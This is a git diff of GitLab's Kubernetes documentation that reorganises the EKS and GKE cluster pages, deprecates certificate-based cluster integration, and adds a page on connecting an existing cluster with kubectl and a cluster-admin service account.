-These credentials can be retrieved in one of two ways:
+### Configure Amazon authentication
+
+To configure Amazon authentication in GitLab, generate an access key for the
+IAM user in the Amazon AWS console, and follow these steps:
-- Statically through the [Configure Amazon authentication](#configure-amazon-authentication).
-- Dynamically via an IAM instance profile ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/291015) in GitLab 13.7).
+1. In GitLab, on the top bar, select **Menu >** **{admin}** **Admin > Settings > General** and expand the **Amazon EKS** section.
+1. Check **Enable Amazon EKS integration**.
+1. Enter your **Account ID**.
+1. Enter your [access key and ID](#eks-access-key-and-id).
+1. Click **Save changes**.
-After GitLab retrieves the AWS credentials, it makes an
-[AssumeRole](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html)
-API call to obtain credentials for the Provision Role. AWS confirms
-the request has the correct account ID, external ID, and permissions.
+#### EKS access key and ID
-If the request is valid, AWS returns a new set of temporary credentials GitLab
-uses to load the **Create cluster** options page.
+> Instance profiles were [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/291015) in GitLab 13.7.
-On the **Create cluster** page, the user must select a **Service Role**, which is
-the IAM role that is actually used to create the cluster, and other options
-such as the Kubernetes cluster name, Kubernetes version, and region.
-After the user clicks the **Create Kubernetes cluster** button, GitLab
-submits a CloudFormation API request to create an EKS cluster with the given parameters
-from the user. GitLab waits 5 minutes before checking whether the cluster was created,
-and polls once a minute for up to 30 minutes.
+If you're using GitLab 13.7 or later, you can use instance profiles to
+dynamically retrieve temporary credentials from AWS when needed.
+In this case, leave the `Access key ID` and `Secret access key` fields blank
+and [pass an IAM role to an EC2 instance](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2_instance-profiles.html).
-After GitLab receives a `CREATE_COMPLETE` message from AWS, GitLab talks
-to the EKS cluster to create a Kubernetes service account with `cluster-admin`
-privileges, and updates its internal database to reflect the newly-created
-Kubernetes cluster. From this point forward, GitLab uses this service account to
-interact with the cluster.
+Otherwise, enter your access key credentials into **Access key ID** and **Secret access key**.
-### Troubleshooting creating a new cluster
+## Troubleshooting
The following errors are commonly encountered when creating a new cluster.
-#### Validation failed: Role ARN must be a valid Amazon Resource Name
+### Validation failed: Role ARN must be a valid Amazon Resource Name
Check that the `Provision Role ARN` is correct. An example of a valid ARN:
@@ -266,7 +269,7 @@ Check that the `Provision Role ARN` is correct. An example of a valid ARN:
arn:aws:iam::123456789012:role/gitlab-eks-provision'
```
-#### Access denied: User `arn:aws:iam::x` is not authorized to perform: `sts:AssumeRole` on resource: `arn:aws:iam::y`
+### Access denied: User `arn:aws:iam::x` is not authorized to perform: `sts:AssumeRole` on resource: `arn:aws:iam::y`
This error occurs when the credentials defined in the
[Configure Amazon authentication](#configure-amazon-authentication) cannot assume the role defined by the
@@ -280,7 +283,7 @@ Provision Role ARN. Check that:
![AWS IAM Trust relationships](img/aws_iam_role_trust.png)
-#### Could not load Security Groups for this VPC
+### Could not load Security Groups for this VPC
When populating options in the configuration form, GitLab returns this error
because GitLab has successfully assumed your provided role, but the role has
@@ -307,46 +310,3 @@ This role should be the role you created by following the
[EKS cluster IAM role](https://docs.aws.amazon.com/eks/latest/userguide/service_IAM_role.html) guide.
In addition to the policies that guide suggests, you must also include the
`AmazonEKSClusterPolicy` policy for this role in order for GitLab to manage the EKS cluster correctly.
-
-## Existing EKS cluster
-
-For information on adding an existing EKS cluster, see
-[Existing Kubernetes cluster](add_remove_clusters.md#existing-kubernetes-cluster).
-
-### Create a default Storage Class
-
-Amazon EKS doesn't have a default Storage Class out of the box, which means
-requests for persistent volumes are not automatically fulfilled. As part
-of Auto DevOps, the deployed PostgreSQL instance requests persistent storage,
-and without a default storage class it cannot start.
-
-If a default Storage Class doesn't already exist and is desired, follow Amazon's
-[guide on storage classes](https://docs.aws.amazon.com/eks/latest/userguide/storage-classes.html)
-to create one.
-
-Alternatively, disable PostgreSQL by setting the project variable
-[`POSTGRES_ENABLED`](../../../topics/autodevops/customize.md#cicd-variables) to `false`.
-
-### Deploy the app to EKS
-
-With RBAC disabled and services deployed,
-[Auto DevOps](../../../topics/autodevops/index.md) can now be leveraged
-to build, test, and deploy the app.
-
-[Enable Auto DevOps](../../../topics/autodevops/index.md#at-the-project-level)
-if not already enabled. If a wildcard DNS entry was created resolving to the
-Load Balancer, enter it in the `domain` field under the Auto DevOps settings.
-Otherwise, the deployed app isn't externally available outside of the cluster.
-
-![Deploy Pipeline](img/pipeline.png)
-
-GitLab creates a new pipeline, which begins to build, test, and deploy the app.
-
-After the pipeline has finished, your app runs in EKS, and is available
-to users. Click on **CI/CD > Environments**.
-
-![Deployed Environment](img/environment.png)
-
-GitLab displays a list of the environments and their deploy status, as well as
-options to browse to the app, view monitoring metrics, and even access a shell
-on the running pod.
diff --git a/doc/user/project/clusters/add_existing_cluster.md b/doc/user/project/clusters/add_existing_cluster.md
new file mode 100644
index 00000000000..efd480fa3ce
--- /dev/null
+++ b/doc/user/project/clusters/add_existing_cluster.md
@@ -0,0 +1,224 @@
+---
+stage: Configure
+group: Configure
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# Add an existing Kubernetes cluster
+
+If you have an existing Kubernetes cluster, you can add it to a project, group,
+or instance and benefit from the integration with GitLab.
+
+## Prerequisites
+
+See the prerequisites below to add existing clusters to GitLab.
+
+### All clusters
+
+To add any cluster to GitLab, you need:
+
+- Either a GitLab.com account or an account for a self-managed installation
+running GitLab 12.5 or later.
+- The Maintainer role for group-level and project-level clusters.
+- Access to the Admin area for instance-level clusters. **(FREE SELF)**
+- A Kubernetes cluster.
+- Cluster administration access to the cluster with `kubectl`.
+
+You can host your cluster in [EKS](#eks-clusters), [GKE](#gke-clusters),
+on premises, and with other providers.
+To host them on premises and with other providers,
+use either the EKS or GKE method to guide you through and enter your cluster's
+settings manually.
+
+WARNING:
+GitLab doesn't support `arm64` clusters. See the issue
+[Helm Tiller fails to install on `arm64` cluster](https://gitlab.com/gitlab-org/gitlab/-/issues/29838)
+for details.
+
+### EKS clusters
+
+To add an existing **EKS** cluster, you need:
+
+- An Amazon EKS cluster with worker nodes properly configured.
+- `kubectl` [installed and configured](https://docs.aws.amazon.com/eks/latest/userguide/getting-started.html#get-started-kubectl)
+for access to the EKS cluster.
+- Ensure the token of the account has administrator privileges for the cluster.
+
+### GKE clusters
+
+To add an existing **GKE** cluster, you need:
+
+- The `container.clusterRoleBindings.create` permission to create a cluster
+role binding. You can follow the [Google Cloud documentation](https://cloud.google.com/iam/docs/granting-changing-revoking-access)
+to grant access.
+
+## How to add an existing cluster
+
+<!-- (REVISE - BREAK INTO SMALLER STEPS) -->
+
+To add a Kubernetes cluster to your project, group, or instance:
+
+1. Navigate to your:
+ 1. Project's **{cloud-gear}** **Infrastructure > Kubernetes clusters** page, for a project-level cluster.
+ 1. Group's **{cloud-gear}** **Kubernetes** page, for a group-level cluster.
+ 1. **Menu >** **{admin}** **Admin >** **{cloud-gear}** **Kubernetes** page, for an instance-level cluster.
+1. Click **Add Kubernetes cluster**.
+1. Click the **Add existing cluster** tab and fill in the details:
+ 1. **Kubernetes cluster name** (required) - The name you wish to give the cluster.
+ 1. **Environment scope** (required) - The
+ [associated environment](multiple_kubernetes_clusters.md#setting-the-environment-scope) to this cluster.
+ 1. **API URL** (required) -
+ It's the URL that GitLab uses to access the Kubernetes API. Kubernetes
+ exposes several APIs, we want the "base" URL that is common to all of them.
+ For example, `https://kubernetes.example.com` rather than `https://kubernetes.example.com/api/v1`.
+
+ Get the API URL by running this command:
+
+ ```shell
+ kubectl cluster-info | grep -E 'Kubernetes master|Kubernetes control plane' | awk '/http/ {print $NF}'
+ ```
+
+ 1. **CA certificate** (required) - A valid Kubernetes certificate is needed to authenticate to the cluster. We use the certificate created by default.
+ 1. List the secrets with `kubectl get secrets`, and one should be named similar to
+ `default-token-xxxxx`. Copy that token name for use below.
+ 1. Get the certificate by running this command:
+
+ ```shell
+ kubectl get secret <secret name> -o jsonpath="{['data']['ca\.crt']}" | base64 --decode
+ ```
+
+ If the command returns the entire certificate chain, you must copy the Root CA
+ certificate and any intermediate certificates at the bottom of the chain.
+ A chain file has following structure:
+
+ ```plaintext
+ -----BEGIN MY CERTIFICATE-----
+ -----END MY CERTIFICATE-----
+ -----BEGIN INTERMEDIATE CERTIFICATE-----
+ -----END INTERMEDIATE CERTIFICATE-----
+ -----BEGIN INTERMEDIATE CERTIFICATE-----
+ -----END INTERMEDIATE CERTIFICATE-----
+ -----BEGIN ROOT CERTIFICATE-----
+ -----END ROOT CERTIFICATE-----
+ ```
+
+ 1. **Token** -
+ GitLab authenticates against Kubernetes using service tokens, which are
+ scoped to a particular `namespace`.
+ **The token used should belong to a service account with
+ [`cluster-admin`](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#user-facing-roles)
+ privileges.** To create this service account:
+ 1. Create a file called `gitlab-admin-service-account.yaml` with contents:
+
+ ```yaml
+ apiVersion: v1
+ kind: ServiceAccount
+ metadata:
+ name: gitlab
+ namespace: kube-system
+ ---
+ apiVersion: rbac.authorization.k8s.io/v1
+ kind: ClusterRoleBinding
+ metadata:
+ name: gitlab-admin
+ roleRef:
+ apiGroup: rbac.authorization.k8s.io
+ kind: ClusterRole
+ name: cluster-admin
+ subjects:
+ - kind: ServiceAccount
+ name: gitlab
+ namespace: kube-system
+ ```
+
+ 1. Apply the service account and cluster role binding to your cluster:
+
+ ```shell
+ kubectl apply -f gitlab-admin-service-account.yaml
+ ```
+
+ You need the `container.clusterRoleBindings.create` permission
+ to create cluster-level roles. If you do not have this permission,
+ you can alternatively enable Basic Authentication and then run the
+ `kubectl apply` command as an administrator:
+
+ ```shell
+ kubectl apply -f gitlab-admin-service-account.yaml --username=admin --password=<password>
+ ```
+
+ NOTE:
+ Basic Authentication can be turned on and the password credentials
+ can be obtained using the Google Cloud Console.
+
+ Output:
+
+ ```shell
+ serviceaccount "gitlab" created
+ clusterrolebinding "gitlab-admin" created
+ ```
+
+ 1. Retrieve the token for the `gitlab` service account:
+
+ ```shell
+ kubectl -n kube-system describe secret $(kubectl -n kube-system get secret | grep gitlab | awk '{print $1}')
+ ```
+
+ Copy the `<authentication_token>` value from the output:
+
+ ```plaintext
+ Name: gitlab-token-b5zv4
+ Namespace: kube-system
+ Labels: <none>
+ Annotations: kubernetes.io/service-account.name=gitlab
+ kubernetes.io/service-account.uid=bcfe66ac-39be-11e8-97e8-026dce96b6e8
+
+ Type: kubernetes.io/service-account-token
+
+ Data
+ ====
+ ca.crt: 1025 bytes
+ namespace: 11 bytes
+ token: <authentication_token>
+ ```
+
+ 1. **GitLab-managed cluster** - Leave this checked if you want GitLab to manage namespaces and service accounts for this cluster.
+ See the [Managed clusters section](index.md#gitlab-managed-clusters) for more information.
+ 1. **Project namespace** (optional) - You don't have to fill this in. By leaving
+ it blank, GitLab creates one for you. Also:
+ - Each project should have a unique namespace.
+ - The project namespace is not necessarily the namespace of the secret, if
+ you're using a secret with broader permissions, like the secret from `default`.
+ - You should **not** use `default` as the project namespace.
+ - If you or someone created a secret specifically for the project, usually
+ with limited permissions, the secret's namespace and project namespace may
+ be the same.
+
+1. Select the **Add Kubernetes cluster** button.
+
+After about 10 minutes, your cluster is ready.
+
+## Disable Role-Based Access Control (RBAC) (optional)
+
+When connecting a cluster via GitLab integration, you may specify whether the
+cluster is RBAC-enabled or not. This affects how GitLab interacts with the
+cluster for certain operations. If you did *not* check the **RBAC-enabled cluster**
+checkbox at creation time, GitLab assumes RBAC is disabled for your cluster
+when interacting with it. If so, you must disable RBAC on your cluster for the
+integration to work properly.
+
+![RBAC](img/rbac_v13_1.png)
+
+WARNING:
+Disabling RBAC means that any application running in the cluster,
+or user who can authenticate to the cluster, has full API access. This is a
+[security concern](index.md#security-implications), and may not be desirable.
+
+To effectively disable RBAC, global permissions can be applied granting full access:
+
+```shell
+kubectl create clusterrolebinding permissive-binding \
+ --clusterrole=cluster-admin \
+ --user=admin \
+ --user=kubelet \
+ --group=system:serviceaccounts
+```
diff --git a/doc/user/project/clusters/add_gke_clusters.md b/doc/user/project/clusters/add_gke_clusters.md
index 9f0e5603785..a454b4dff99 100644
--- a/doc/user/project/clusters/add_gke_clusters.md
+++ b/doc/user/project/clusters/add_gke_clusters.md
@@ -4,7 +4,15 @@ group: Configure
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Adding GKE clusters **(FREE)**
+# GKE clusters (DEPRECATED) **(FREE)**
+
+> - [Deprecated](https://gitlab.com/groups/gitlab-org/-/epics/6049) in GitLab 14.0.
+
+WARNING:
+Use [Infrastrucure as Code](../../infrastructure/index.md) to create new clusters. The method described in this document is deprecated as of GitLab 14.0.
+
+Through GitLab, you can create new clusters and add existing clusters hosted on Amazon Elastic
+Kubernetes Service (EKS).
GitLab supports adding new and existing GKE clusters.
@@ -19,7 +27,12 @@ requirements are met:
take up to 10 minutes after you create a project. For more information see the
["Before you begin" section of the Kubernetes Engine docs](https://cloud.google.com/kubernetes-engine/docs/quickstart#before-you-begin).
-## New GKE cluster
+## Add an existing GKE cluster
+
+If you already have a GKE cluster and want to integrate it with GitLab,
+see how to [add an existing cluster](add_existing_cluster.md).
+
+## Create new GKE cluster
Starting from [GitLab 12.4](https://gitlab.com/gitlab-org/gitlab/-/issues/25925), all the GKE clusters
provisioned by GitLab are [VPC-native](https://cloud.google.com/kubernetes-engine/docs/how-to/alias-ips).
@@ -30,13 +43,13 @@ Note the following:
at the instance level. If that's not the case, ask your GitLab administrator to enable it. On
GitLab.com, this is enabled.
- Starting from [GitLab 12.1](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/55902), all GKE clusters
- created by GitLab are RBAC-enabled. Take a look at the [RBAC section](add_remove_clusters.md#rbac-cluster-resources) for
+ created by GitLab are RBAC-enabled. Take a look at the [RBAC section](cluster_access.md#rbac-cluster-resources) for
more information.
- Starting from [GitLab 12.5](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/18341), the
cluster's pod address IP range is set to `/16` instead of the regular `/14`. `/16` is a CIDR
notation.
- GitLab requires basic authentication enabled and a client certificate issued for the cluster to
- set up an [initial service account](add_remove_clusters.md#access-controls). In [GitLab versions
+ set up an [initial service account](cluster_access.md). In [GitLab versions
11.10 and later](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/58208), the cluster creation process
explicitly requests GKE to create clusters with basic authentication enabled and a client
certificate.
@@ -49,14 +62,14 @@ To create and add a new Kubernetes cluster to your project, group, or instance:
- Project's **{cloud-gear}** **Infrastructure > Kubernetes clusters** page, for a project-level
cluster.
- Group's **{cloud-gear}** **Kubernetes** page, for a group-level cluster.
- - **Admin Area >** **{cloud-gear}** **Kubernetes** page, for an instance-level cluster.
+ - **Menu >** **{admin}** **Admin >** **{cloud-gear}** **Kubernetes** page, for an instance-level cluster.
1. Click **Integrate with a cluster certificate**.
1. Under the **Create new cluster** tab, click **Google GKE**.
1. Connect your Google account if you haven't done already by clicking the
**Sign in with Google** button.
1. Choose your cluster's settings:
- **Kubernetes cluster name** - The name you wish to give the cluster.
- - **Environment scope** - The [associated environment](index.md#setting-the-environment-scope) to this cluster.
+ - **Environment scope** - The [associated environment](multiple_kubernetes_clusters.md#setting-the-environment-scope) to this cluster.
- **Google Cloud Platform project** - Choose the project you created in your GCP
console to host the Kubernetes cluster. Learn more about
[Google Cloud Platform projects](https://cloud.google.com/resource-manager/docs/creating-managing-projects).
@@ -68,7 +81,7 @@ To create and add a new Kubernetes cluster to your project, group, or instance:
- **Enable Cloud Run for Anthos** - Check this if you want to use Cloud Run for Anthos for this cluster.
See the [Cloud Run for Anthos section](#cloud-run-for-anthos) for more information.
- **GitLab-managed cluster** - Leave this checked if you want GitLab to manage namespaces and service accounts for this cluster.
- See the [Managed clusters section](index.md#gitlab-managed-clusters) for more information.
+ See the [Managed clusters section](gitlab_managed_clusters.md) for more information.
1. Finally, click the **Create Kubernetes cluster** button.
After a couple of minutes, your cluster is ready.
@@ -81,8 +94,3 @@ You can choose to use Cloud Run for Anthos in place of installing Knative and Is
separately after the cluster has been created. This means that Cloud Run
(Knative), Istio, and HTTP Load Balancing are enabled on the cluster
from the start, and cannot be installed or uninstalled.
-
-## Existing GKE cluster
-
-For information on adding an existing GKE cluster, see
-[Existing Kubernetes cluster](add_remove_clusters.md#existing-kubernetes-cluster).
diff --git a/doc/user/project/clusters/add_remove_clusters.md b/doc/user/project/clusters/add_remove_clusters.md
index 2ecbc4a2ff5..6cada5648cb 100644
--- a/doc/user/project/clusters/add_remove_clusters.md
+++ b/doc/user/project/clusters/add_remove_clusters.md
@@ -4,28 +4,16 @@ group: Configure
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Add a cluster using cluster certificates **(FREE)**
+# Add a cluster using cluster certificates (DEPRECATED) **(FREE)**
-> [Deprecated](https://gitlab.com/groups/gitlab-org/-/epics/6049) in GitLab 14.0.
+> [Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/327908) in GitLab 14.0.
WARNING:
Creating a new cluster or adding an existing cluster to GitLab through the certificate-based method
is deprecated and no longer recommended. Kubernetes cluster, similar to any other
-infrastructure, should be created, updated, and maintained using [Infrastructure as Code](../../infrastructure/index.md).
+infrastructure, should be created, updated, maintained using [Infrastructure as Code](../../infrastructure/index.md).
GitLab is developing a built-in capability to create clusters with Terraform.
-You can follow along in this [epic](https://gitlab.com/groups/gitlab-org/-/epics/6049).
-
-GitLab offers integrated cluster creation for the following Kubernetes providers:
-
-- Google Kubernetes Engine (GKE).
-- Amazon Elastic Kubernetes Service (EKS).
-
-GitLab can also integrate with any standard Kubernetes provider, either on-premise or hosted.
-
-NOTE:
-Watch the webcast [Scalable app deployment with GitLab and Google Cloud Platform](https://about.gitlab.com/webcast/scalable-app-deploy/)
-and learn how to spin up a Kubernetes cluster managed by Google Cloud Platform (GCP)
-in a few clicks.
+You can follow along in this [epic](https://gitlab.com/groups/gitlab-org/-/epics/6049).
NOTE:
Every new Google Cloud Platform (GCP) account receives
@@ -35,351 +23,76 @@ accounts to get started with the GitLab integration with Google Kubernetes Engin
[Follow this link](https://cloud.google.com/partners/partnercredit/?pcn_code=0014M00001h35gDQAQ#contact-form)
to apply for credit.
-## Before you begin
-
-Before [adding a Kubernetes cluster](#create-new-cluster) using GitLab, you need:
-
-- GitLab itself. Either:
- - A [GitLab.com account](https://about.gitlab.com/pricing/#gitlab-com).
- - A [self-managed installation](https://about.gitlab.com/pricing/#self-managed) with GitLab version
- 12.5 or later. This ensures the GitLab UI can be used for cluster creation.
-- The following GitLab access:
- - [Maintainer role for a project](../../permissions.md#project-members-permissions) for a
- project-level cluster.
- - [Maintainer role for a group](../../permissions.md#group-members-permissions) for a
- group-level cluster.
- - [Admin Area access](../../admin_area/index.md) for a self-managed instance-level
- cluster. **(FREE SELF)**
-
-## Access controls
-
-> - Restricted service account for deployment was [introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/51716) in GitLab 11.5.
-
-When creating a cluster in GitLab, you are asked if you would like to create either:
-
-- A [Role-based access control (RBAC)](https://kubernetes.io/docs/reference/access-authn-authz/rbac/)
- cluster, which is the GitLab default and recommended option.
-- An [Attribute-based access control (ABAC)](https://kubernetes.io/docs/reference/access-authn-authz/abac/) cluster.
-
-When GitLab creates the cluster,
-a `gitlab` service account with `cluster-admin` privileges is created in the `default` namespace
-to manage the newly created cluster.
-
-Helm also creates additional service accounts and other resources for each
-installed application. Consult the documentation of the Helm charts for each application
-for details.
-
-If you are [adding an existing Kubernetes cluster](add_remove_clusters.md#add-existing-cluster),
-ensure the token of the account has administrator privileges for the cluster.
-
-The resources created by GitLab differ depending on the type of cluster.
-
-### Important notes
-
-Note the following about access controls:
-
-- Environment-specific resources are only created if your cluster is
- [managed by GitLab](index.md#gitlab-managed-clusters).
-- If your cluster was created before GitLab 12.2, it uses a single namespace for all project
- environments.
-
-### RBAC cluster resources
-
-GitLab creates the following resources for RBAC clusters.
-
-| Name | Type | Details | Created when |
-|:----------------------|:---------------------|:-----------------------------------------------------------------------------------------------------------|:-----------------------|
-| `gitlab` | `ServiceAccount` | `default` namespace | Creating a new cluster |
-| `gitlab-admin` | `ClusterRoleBinding` | [`cluster-admin`](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#user-facing-roles) roleRef | Creating a new cluster |
-| `gitlab-token` | `Secret` | Token for `gitlab` ServiceAccount | Creating a new cluster |
-| `tiller` | `ServiceAccount` | `gitlab-managed-apps` namespace | Installing Helm charts |
-| `tiller-admin` | `ClusterRoleBinding` | `cluster-admin` roleRef | Installing Helm charts |
-| Environment namespace | `Namespace` | Contains all environment-specific resources | Deploying to a cluster |
-| Environment namespace | `ServiceAccount` | Uses namespace of environment | Deploying to a cluster |
-| Environment namespace | `Secret` | Token for environment ServiceAccount | Deploying to a cluster |
-| Environment namespace | `RoleBinding` | [`admin`](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#user-facing-roles) roleRef | Deploying to a cluster |
+NOTE:
+Watch the webcast [Scalable app deployment with GitLab and Google Cloud Platform](https://about.gitlab.com/webcast/scalable-app-deploy/)
+and learn how to spin up a Kubernetes cluster managed by Google Cloud Platform (GCP)
+in a few clicks.
-The environment namespace `RoleBinding` was
-[updated](https://gitlab.com/gitlab-org/gitlab/-/issues/31113) in GitLab 13.6
-to `admin` roleRef. Previously, the `edit` roleRef was used.
+## Create new cluster
-### ABAC cluster resources
+> The certificate-based method for creating clusters from GitLab was [deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/327908) in GitLab 14.0.
-GitLab creates the following resources for ABAC clusters.
+As of GitLab 14.0, use [Infrastructure as Code](../../infrastructure/index.md)
+to **safely create your new cluster from GitLab**.
-| Name | Type | Details | Created when |
-|:----------------------|:---------------------|:-------------------------------------|:---------------------------|
-| `gitlab` | `ServiceAccount` | `default` namespace | Creating a new cluster |
-| `gitlab-token` | `Secret` | Token for `gitlab` ServiceAccount | Creating a new cluster |
-| `tiller` | `ServiceAccount` | `gitlab-managed-apps` namespace | Installing Helm charts |
-| `tiller-admin` | `ClusterRoleBinding` | `cluster-admin` roleRef | Installing Helm charts |
-| Environment namespace | `Namespace` | Contains all environment-specific resources | Deploying to a cluster |
-| Environment namespace | `ServiceAccount` | Uses namespace of environment | Deploying to a cluster |
-| Environment namespace | `Secret` | Token for environment ServiceAccount | Deploying to a cluster |
+The certificate-based method is **deprecated** and scheduled for removal in
+GitLab 15.0. However, you can still use it until then. Through
+this method, you can host your cluster in EKS, GKE, on premises, and with other
+providers. To host them on premises and with other providers,
+use either the EKS or GKE method to guide you through and enter your cluster's
+settings manually:
-### Security of runners
+- [New cluster hosted on Google Kubernetes Engine (GKE)](add_eks_clusters.md).
+- [New cluster hosted on Amazon Elastic Kubernetes Service (EKS)](add_gke_clusters.md).
-Runners have the [privileged mode](https://docs.gitlab.com/runner/executors/docker.html#the-privileged-mode)
-enabled by default, which allows them to execute special commands and run
-Docker in Docker. This functionality is needed to run some of the
-[Auto DevOps](../../../topics/autodevops/index.md)
-jobs. This implies the containers are running in privileged mode and you should,
-therefore, be aware of some important details.
+## Add existing cluster
-The privileged flag gives all capabilities to the running container, which in
-turn can do almost everything that the host can do. Be aware of the
-inherent security risk associated with performing `docker run` operations on
-arbitrary images as they effectively have root access.
+If you already have a cluster and want to integrate it with GitLab, see how to
+[add an existing cluster](add_existing_cluster.md).
-If you don't want to use a runner in privileged mode, either:
+## Configure your cluster
-- Use shared runners on GitLab.com. They don't have this security issue.
-- Set up your own runners using the configuration described at
- [shared runners](../../gitlab_com/index.md#shared-runners) using
- [`docker+machine`](https://docs.gitlab.com/runner/executors/docker_machine.html).
+As of GitLab 14.0, use the [GitLab Kubernetes Agent](../../clusters/agent/index.md) to configure your cluster.
-## Create new cluster
+## Disable a cluster
-New clusters can be created using GitLab on Google Kubernetes Engine (GKE) or
-Amazon Elastic Kubernetes Service (EKS) at the project, group, or instance level:
+When you successfully create a new Kubernetes cluster or add an existing
+one to GitLab, the cluster connection to GitLab becomes enabled. To disable it:
-1. Navigate to your:
- - Project's **{cloud-gear}** **Infrastructure > Kubernetes clusters** page, for a project-level
- cluster.
+1. Go to your:
+ - Project's **{cloud-gear}** **Infrastructure > Kubernetes clusters** page, for a project-level cluster.
- Group's **{cloud-gear}** **Kubernetes** page, for a group-level cluster.
- - **Admin Area >** **{cloud-gear}** **Kubernetes** page, for an instance-level cluster.
-1. Click **Integrate with a cluster certificate**.
-1. Click the **Create new cluster** tab.
-1. Click either **Amazon EKS** or **Google GKE**, and follow the instructions for your desired service:
- - [Amazon EKS](add_eks_clusters.md#new-eks-cluster).
- - [Google GKE](add_gke_clusters.md#creating-the-cluster-on-gke).
-
-After creating a cluster, you can [install runners](https://docs.gitlab.com/runner/install/kubernetes.html),
-add a [cluster management project](../../clusters/management_project.md),
-configure [Auto DevOps](../../../topics/autodevops/index.md),
-or start [deploying right away](index.md#deploying-to-a-kubernetes-cluster).
-
-## Add existing cluster
-
-If you have an existing Kubernetes cluster, you can add it to a project, group,
-or instance, and [install runners](https://docs.gitlab.com/runner/install/kubernetes.html)
-on it (the cluster does not need to be added to GitLab first).
-
-After adding a cluster, you can add a [cluster management project](../../clusters/management_project.md),
-configure [Auto DevOps](../../../topics/autodevops/index.md),
-or start [deploying right away](index.md#deploying-to-a-kubernetes-cluster).
-
-### Existing Kubernetes cluster
-
-To add a Kubernetes cluster to your project, group, or instance:
-
-1. Navigate to your:
- 1. Project's **{cloud-gear}** **Infrastructure > Kubernetes clusters** page, for a project-level
- cluster.
- 1. Group's **{cloud-gear}** **Kubernetes** page, for a group-level cluster.
- 1. **Admin Area >** **{cloud-gear}** **Kubernetes** page, for an instance-level cluster.
-1. Click **Add Kubernetes cluster**.
-1. Click the **Add existing cluster** tab and fill in the details:
- 1. **Kubernetes cluster name** (required) - The name you wish to give the cluster.
- 1. **Environment scope** (required) - The
- [associated environment](index.md#setting-the-environment-scope) to this cluster.
- 1. **API URL** (required) -
- It's the URL that GitLab uses to access the Kubernetes API. Kubernetes
- exposes several APIs, we want the "base" URL that is common to all of them.
- For example, `https://kubernetes.example.com` rather than `https://kubernetes.example.com/api/v1`.
-
- Get the API URL by running this command:
-
- ```shell
- kubectl cluster-info | grep -E 'Kubernetes master|Kubernetes control plane' | awk '/http/ {print $NF}'
- ```
-
- 1. **CA certificate** (required) - A valid Kubernetes certificate is needed to authenticate to the cluster. We use the certificate created by default.
- 1. List the secrets with `kubectl get secrets`, and one should be named similar to
- `default-token-xxxxx`. Copy that token name for use below.
- 1. Get the certificate by running this command:
-
- ```shell
- kubectl get secret <secret name> -o jsonpath="{['data']['ca\.crt']}" | base64 --decode
- ```
-
- If the command returns the entire certificate chain, you must copy the Root CA
- certificate and any intermediate certificates at the bottom of the chain.
- A chain file has following structure:
-
- ```plaintext
- -----BEGIN MY CERTIFICATE-----
- -----END MY CERTIFICATE-----
- -----BEGIN INTERMEDIATE CERTIFICATE-----
- -----END INTERMEDIATE CERTIFICATE-----
- -----BEGIN INTERMEDIATE CERTIFICATE-----
- -----END INTERMEDIATE CERTIFICATE-----
- -----BEGIN ROOT CERTIFICATE-----
- -----END ROOT CERTIFICATE-----
- ```
-
- 1. **Token** -
- GitLab authenticates against Kubernetes using service tokens, which are
- scoped to a particular `namespace`.
- **The token used should belong to a service account with
- [`cluster-admin`](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#user-facing-roles)
- privileges.** To create this service account:
- 1. Create a file called `gitlab-admin-service-account.yaml` with contents:
-
- ```yaml
- apiVersion: v1
- kind: ServiceAccount
- metadata:
- name: gitlab
- namespace: kube-system
- ---
- apiVersion: rbac.authorization.k8s.io/v1
- kind: ClusterRoleBinding
- metadata:
- name: gitlab-admin
- roleRef:
- apiGroup: rbac.authorization.k8s.io
- kind: ClusterRole
- name: cluster-admin
- subjects:
- - kind: ServiceAccount
- name: gitlab
- namespace: kube-system
- ```
-
- 1. Apply the service account and cluster role binding to your cluster:
-
- ```shell
- kubectl apply -f gitlab-admin-service-account.yaml
- ```
-
- You need the `container.clusterRoleBindings.create` permission
- to create cluster-level roles. If you do not have this permission,
- you can alternatively enable Basic Authentication and then run the
- `kubectl apply` command as an administrator:
-
- ```shell
- kubectl apply -f gitlab-admin-service-account.yaml --username=admin --password=<password>
- ```
-
- NOTE:
- Basic Authentication can be turned on and the password credentials
- can be obtained using the Google Cloud Console.
-
- Output:
-
- ```shell
- serviceaccount "gitlab" created
- clusterrolebinding "gitlab-admin" created
- ```
-
- 1. Retrieve the token for the `gitlab` service account:
-
- ```shell
- kubectl -n kube-system describe secret $(kubectl -n kube-system get secret | grep gitlab | awk '{print $1}')
- ```
-
- Copy the `<authentication_token>` value from the output:
-
- ```plaintext
- Name: gitlab-token-b5zv4
- Namespace: kube-system
- Labels: <none>
- Annotations: kubernetes.io/service-account.name=gitlab
- kubernetes.io/service-account.uid=bcfe66ac-39be-11e8-97e8-026dce96b6e8
-
- Type: kubernetes.io/service-account-token
-
- Data
- ====
- ca.crt: 1025 bytes
- namespace: 11 bytes
- token: <authentication_token>
- ```
-
- NOTE:
- For GKE clusters, you need the
- `container.clusterRoleBindings.create` permission to create a cluster
- role binding. You can follow the [Google Cloud
- documentation](https://cloud.google.com/iam/docs/granting-changing-revoking-access)
- to grant access.
-
- 1. **GitLab-managed cluster** - Leave this checked if you want GitLab to manage namespaces and service accounts for this cluster.
- See the [Managed clusters section](index.md#gitlab-managed-clusters) for more information.
- 1. **Project namespace** (optional) - You don't have to fill it in; by leaving
- it blank, GitLab creates one for you. Also:
